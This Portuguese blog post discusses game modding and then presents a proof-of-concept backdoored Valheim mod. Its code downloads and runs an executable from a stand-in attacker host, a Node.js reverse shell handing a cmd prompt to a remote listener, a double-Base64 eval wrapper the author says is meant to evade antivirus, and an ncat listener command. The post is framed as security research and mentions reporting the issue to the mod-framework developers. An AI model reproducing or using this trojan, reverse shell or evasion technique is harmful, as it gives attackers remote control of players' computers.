Home🏡

king_v1.dll

“Fight, build, explore. It all ends in the grave.“

O jogo que eu tenho mais horas na steam é Dota 2, tenho exatamente 6.074,8 horas e para quem não sabe, ele surgiu a partir de um mapa customizado do Warcraft 3. Vale ressaltar que o dev Eul, só teve essa ideia de criar o mapa no Warcraft depois de conhecer o mapa customizado Aeon of Strife do Starcraft. Depois de muito sucesso no começo dos anos 2000, alguns devs que cuidavam do projeto DotA sairam e criaram outros jogos no mesmo estilo (Moba), como League of Legends e Heroes of Newerth. Depois de um tempo a Valve contratou o dev que mantinha o Dota e assim surgiu o Dota 2.

Pra quem conhece esses jogos sabe o quão grande eles se tornaram, rendendo campeonatos que pagam mais de U$20mi ao time vencedor. Então, sabemos o potencial que modificações possuem tanto para desenvolver novos estilos de jogos como manter vivo um jogo além de sua história principal.


Em 2021 foi lançado o jogo Valheim, se trata de um RPG Survival Sandbox. O objetivo principal do jogo é você derrotar todos os Boss que existem num mundo gerado a partir de uma seed. Para quem não conhece, a seed é um conjunto de caracteres que são usados para fazer um cálculo na hora de gerar um mundo.

O jogo em si é perfeito pra quem gosta dos genero survival e RPG, porém sempre que joguei com alguns amigos nós comentavamos que faltavam algumas coisas. Como magias, melhorar a estabilidade da mira do arco e flecha e etc ...

Comecei a estudar sobre como criar modificações, cheguei a criar um mod que era um complemento de outro mod que adicionava magias. O mod que criei está no Github e ele adiciona as potions de Mana no jogo, criando um desafio a mais para não ficar spammando magias pra qualquer lado.

https://github.com/nulldreams/valheim-mana-potion

Na época eu cheguei a criar um mod de teste que forçava abrir a calculadora do Windows quando você apertava espaço para pular. Mas só funcionava com o Windows Defender desligado. Agora em 2023 resolvi voltar e continuar fazendo mais testes de segurança com os mods desse jogo.


Alguns jogos como Dota 2, Counter-Strike e Warcraft 3, possuem interfaces de modificações disponibilizadas pela empresa desenvolvedora. Qual o beneficio disso? Eles conseguem manter a comunidade de jogadores diversificada, pois nem todos jogam o jogo original, como no caso do Dota 2, a maior parte dos jogadores ativos, jogam os mapas customizados; E também criam uma barreira de segurança, afinal, não da pra confiar 100% que os mods serão apenas versões divertidas e seguras.

Já com o Valheim, foi a comunidade de desenvolvedores da Unity que criaram um meio de campo para criar os mods. Você pode encontrar uma explicação mais detalhada neste link.

Em resumo, eles fornecem um software e uma biblioteca. A biblioteca possui recursos para programarmos os mods que serão compilados em uma dll e depois através do software deles, serão injetados em tempo de execução no jogo. Pra quem conhece um pouco da engine Unity, lembra que existem algumas funções padrões da engine, como Awake, Start, etc ... Nos mods nós criamos as funções da mesmas forma.


Organizando a prova de conceito

Sabendo que o fluxo de injeção de mods funciona de acordo com a imagem abaixo.

Escrevi um mod que injeta na função Awake do jogo, um código que faz o download do vírus que escrevi em Node e depois executa ele. Eu segui pelo caminho de baixar o virus, pois no C# EU acho mais dificil burlar as detecções dos anti-virus. Já no node eu consigo burlar facilmente, dessa forma o MOD serve como um cavalo de troia, como ele é um arquivo teoricamente seguro, o anti-virus não vai barrar ele de fazer o download de um arquivo. Já esse novo arquivo, ele sim é perigoso mas ele sabe andar por caminhos onde ele não é pego kk

Código em C#

using BepInEx;
using Jotunn.Entities;
using Jotunn.Managers;
using System.Diagnostics;
using System.Net;
using System;

namespace JotunnModStub
{
    [BepInPlugin(PluginGUID, PluginName, PluginVersion)]
    [BepInDependency(Jotunn.Main.ModGuid)]
    //[NetworkCompatibility(CompatibilityLevel.EveryoneMustHaveMod, VersionStrictness.Minor)]
    internal class JotunnModStub : BaseUnityPlugin
    {
        public const string PluginGUID = "com.jotunn.jotunnmodstub";
        public const string PluginName = "JotunnModStub";
        public const string PluginVersion = "0.0.1";

        // Use this class to add your own localization to the game
        // https://valheim-modding.github.io/Jotunn/tutorials/localization.html
        public static CustomLocalization Localization = LocalizationManager.Instance.GetLocalization();

        private void Awake()
        {
            // Jotunn comes with its own Logger class to provide a consistent Log style for all mods using it
            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");

            string url = "https://attacker-machine/calc.exe";
            string destino = "calc.exe";

            using (WebClient client = new WebClient())
            {
                try
                {
                    client.DownloadFile(url, destino);
                    Jotunn.Logger.LogInfo("Download concluído!");

                    Process.Start(new ProcessStartInfo
                    {
                        FileName = destino,
                        UseShellExecute = true
                    });
                    // Executar o arquivo após o download
                    Jotunn.Logger.LogInfo(destino);
                }
                catch (Exception ex)
                {
                    Jotunn.Logger.LogInfo($"Ocorreu um erro durante o download: {ex.Message}");
                }
            }

            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");
            // To learn more about Jotunn's features, go to
            // https://valheim-modding.github.io/Jotunn/tutorials/overview.html
        }
    }
}

O código do vírus é bem simples

;(function () {
  var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("cmd", [])
  var client = new net.Socket()
  client.connect(port, host, function () {
    client.pipe(sh.stdin)
    sh.stdout.pipe(client)
    sh.stderr.pipe(client)
  })
  return /a/
})()

Pra deixar ele indetectavel, eu simplesmente encodei ele 2x com Base64 e depois fiz o decode para string e executei com a função eval do javascript. Depois gerei um executável usando o pkg. Seguindo exatamente o que fiz no post drocsid.

eval(
  Buffer.from(
    Buffer.from(
      "T3lobWRXNWpkR2x2YmlBb0tTQjdDaUFnZG1GeUlHNWxkQ0E5SUhKbGNYVnBjbVVvSjI1bGRDY3BMQW9nSUNBZ1kzQWdQU0J5WlhGMWFYSmxLQ2RqYUdsc1pGOXdjbTlqWlhOekp5a3NDaUFnSUNCemFDQTlJR053TG5Od1lYZHVLQ2RqYldRbkxDQmJYU2tLSUNCMllYSWdZMnhwWlc1MElEMGdibVYzSUc1bGRDNVRiMk5yWlhRb0tRb2dJR05zYVdWdWRDNWpiMjV1WldOMEtDY3hNekl3TVNjc0lDY3lMblJqY0M1dVozSnZheTVwYnljc0lHWjFibU4wYVc5dUlDZ3BJSHNLSUNBZ0lHTnNhV1Z1ZEM1d2FYQmxLSE5vTG5OMFpHbHVLUW9nSUNBZ2MyZ3VjM1JrYjNWMExuQnBjR1VvWTJ4cFpXNTBLUW9nSUNBZ2MyZ3VjM1JrWlhKeUxuQnBjR1VvWTJ4cFpXNTBLUW9nSUgwcENpQWdjbVYwZFhKdUlDOWhMd3A5S1NncENnPT0=",
      "base64"
    ).toString("utf-8"),
    "base64"
  ).toString("utf-8")
)

Depois abro um terminal do windows, levando em consideração que tenho uma versão do Netcat instalada na máquina. E rodo o comando:

ncat -lnvp 3000

Dessa forma o terminal fica ouvindo uma conexão com a porta 3000 da minha máquina de ataque. Quando o jogo for executado na máquina do jogador, a conexão reversa será feita com esse terminal, dando acesso ao computador da vítima.


Computador executando o jogo com o MOD

Computador de ataque recebendo a conexão reversa


Conclusões

Pode ser sim perigoso usar mods em jogos, mas tudo é uma questão de como você obtem essa modificação. Quando elas estão no Github, você pode ver o código ou você pode optar por baixar de lugares confiáveis como alguns sites que gerenciam esses downloads, eu sempre baixo da Nexus Mods e nunca tive problemas.

Estou entrando em contato com os devs que criaram esse sistema de mods para o Valheim, para explicar esse vetor de ataque. Qualquer novidade vou postando como edições nesse mesmo post.

https://github.com/nulldreams/valheim-reverse-connection